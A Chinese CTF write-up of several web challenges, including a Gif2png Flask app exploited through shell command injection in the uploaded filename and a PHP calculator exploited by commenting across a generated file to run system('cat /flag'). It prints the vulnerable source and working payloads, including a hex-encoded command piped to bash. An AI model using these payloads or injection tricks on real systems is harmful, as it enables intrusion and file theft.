队友都去考研/实习/摸鱼了,只剩两个web狗爆肝全场…

Hunt

签到题

五个recaptcha满天飞,随手把position: absolute去了就直接躺平了

依次点击即可拿到flag

Gif2png

一个将gif转为png的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
import logging
import re
import subprocess
import uuid
from pathlib import Path

from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype


ALLOWED_EXTENSIONS = {'gif'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)

file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)

if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)

if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)

if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)

if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))

mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)

uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")

logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")

command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
command.wait(timeout=15)
logging.debug(command.stdout)

flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))

return render_template("form.html")


@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)

return render_template("result.html", uid=uid, images=images)


@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
return send_from_directory(dir, image)


@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413


if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)
  • 调用ffmpeg时存在命令的拼接
1
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
  • 并且上面正则的限制允许出现|,可以执行其他命令
1
2
3
4
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
  • 不能出现/且不能出网,使用xxd 16进制绕过并把读到的文件写到uploads目录下读回来即可
1
port.txt' 1.jpg| echo "636174206d61696e2e7079203e2075706c6f6164732f313233342f4c696f6e547265652e747874" | xxd -r -p|bash || echo '1

拼接后变为

1
ffmpeg -i 'port.txt' 1.jpg| echo "636174206d61696e2e7079203e2075706c6f6164732f313233342f4c696f6e547265652e747874" | xxd -r -p|bash || echo '1' "uploads/aa/%03d.png"

另外看了一些大师傅的博客,发现一些其他的解法:

WoC

这题出的很赞,考的点虽然不难但很有真实代码审计的感觉

一个计算器的功能,有好几个模板可以选择

除此之外还可以分享计算器的结果,输入html创建自己的模板

贴一下重要的两段代码:

  • newtemplate.php:创建新的模板
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
if (!@$_SESSION['userid']) {
redir(".");
}

$userid = $_SESSION['userid'];

$error = false;

if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}

$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];

foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}

$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}

redir(".");
} while (false);
}
?>
<div class="row">
<div class="p-5 mx-auto col-10 col-md-10 bg-info">
<?php
if ($error) {
?>
<div class="alert alert-danger" role="alert">
<button type="button" class="close" data-dismiss="alert">×</button>
<h4 class="alert-heading">Error</h4>
<p class="mb-0"><?=htmlspecialchars($error)?></p>
</div>
<?php
}
?>
<h3 class="display-3">New template</h3>
<div class="px-4 order-1 order-md-2 col-lg-12">
<h2 class="mb-4">Insert code</h2>
<form method="POST">
<div class="form-group"> <textarea style="min-height: 100px; font-family: 'Fira Code', Consolas, monospace;" placeholder="HTML" class="form-control form-control-sm" name="html" oninput="this.style.height = ''; this.style.height = (this.scrollHeight + 10) +'px'"><?=htmlspecialchars(@$_POST['html'])?></textarea> </div> <button type="submit" class="btn btn-lg btn-outline-secondary mx-3 px-3"><i class="fa fa-plus-square fa-fw fa-1x py-1"></i> Create Template</button>
</form>
</div>
</div>
</div>
  • calc.php:计算结果和生成分享的php文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
if (!@$_SESSION['userid'] || !@$_GET['template']) {
redir(".");
}

$userid = $_SESSION['userid'];
$template = $_GET['template'];

if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
redir(".");
}

if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);

if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}

if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}

echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";

其中calc.php中生成分享的php文件的代码:

1
2
3
4
5
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
}

可以看到这里会将<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n,inc/calclib.html和模板文件拼在一起生成一个新的php文件

但是创建模板和计算结果时都不允许出现<?php<?=<?直接在配置文件里禁用了)

1
2
3
4
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
1
2
3
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
}

既然无法引入php标签,那么就直接利用<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n中的<?=

测试下可以发现上面的正则允许出现/*,这样就可以让$filed/*,将))?>;</script>\n以及inc/calclib.html的内容全部注释掉。

在自建模板的开头则加上*/));system('cat /flag');?>闭合注释,执行任意php代码